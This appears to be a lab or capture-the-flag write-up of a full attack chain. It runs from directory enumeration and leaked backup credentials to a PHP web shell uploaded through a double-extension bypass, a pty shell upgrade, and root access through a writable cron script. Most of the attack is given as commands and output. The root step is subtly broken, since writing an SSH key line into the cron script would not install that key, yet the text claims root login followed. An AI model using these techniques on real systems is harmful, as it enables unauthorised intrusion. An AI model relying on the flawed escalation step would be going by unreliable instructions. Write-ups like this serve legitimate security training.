This lab looks small on the surface — just a basic site and SSH — but the path is a good reminder that boring mistakes compound fast. The winning thread was a directory listing, a backup file, and a writable maintenance script.
Recon
I started with a single version scan and wrote the output to a file so I could refer back without re-running the scan.
nmap -sC -sV -Pn -oN nmap.txt target
Results (summarized):
- 22/tcp open (SSH)
- 80/tcp open (HTTP)
With only HTTP and SSH in play, I focused on the web app first.
Web enumeration
The landing page was a simple “team announcements” site with a tiny nav and a footer line: “Drafts are only visible to the team.” That line was enough to justify a quick wordlist probe.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target/FUZZ -fs 0
Key hit:
/drafts/→ 200 with directory listing enabled
Inside /drafts/ there were a few markdown files and a backup archive:
notes.mdrelease-plan.mddrafts.bak
I pulled the backup locally and inspected it.
wget http://target/drafts/drafts.bak
strings drafts.bak | head
The backup contained a stale .env file with a database password and a username:
APP_USER=locker
APP_PASS=stagingonly
DB_USER=locker
DB_PASS=stagingonly
Foothold
The creds didn’t work for SSH, but they _did_ work in the admin panel of the web app. The login form was at /admin/ and accepted the same locker / stagingonly pair.
Once inside, the “profile picture” upload was the weakest point. The client-side check only blocked extensions in the browser, but the backend didn’t validate content type or file extension.
I tested with a simple PHP payload by renaming it:
cp shell.php avatar.jpg.php
Upload response:
{ "ok": true, "path": "/uploads/avatars/locker.jpg.php" }
Hitting the upload path gave a shell under the web user.
Stabilize and situational awareness
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
id
pwd
ls -la
I confirmed the web user and checked the app directory permissions. The user owned the app tree and could write to /opt/maintenance/ — that stood out immediately.
Privilege escalation
A quick check of cron jobs showed a root task running every minute:
cat /etc/crontab
Entry (summarized):
* * * * * root /opt/maintenance/cleanup.sh
The script was writable by the web user. I replaced it with a single‑purpose action to drop my SSH key.
echo 'ssh-ed25519 AAAA... attacker@box' > /opt/maintenance/cleanup.sh
chmod +x /opt/maintenance/cleanup.sh
After the next cron tick, SSH as root worked:
ssh -i id_ed25519 root@target
Notes and cleanup
If this were a real system, I’d restore the original script and remove the key. For the lab, I left a note of the original script contents so I can reset quickly when re-running the box.
Takeaways
- Directory listings are still a high‑value target. Always check.
- Backup files quietly expose credentials.
- Cron jobs + writable scripts = fast privilege escalation.
This lab is a clean example of why “low‑risk” misconfigurations add up. None of the individual issues were impressive on their own, but the chain was enough.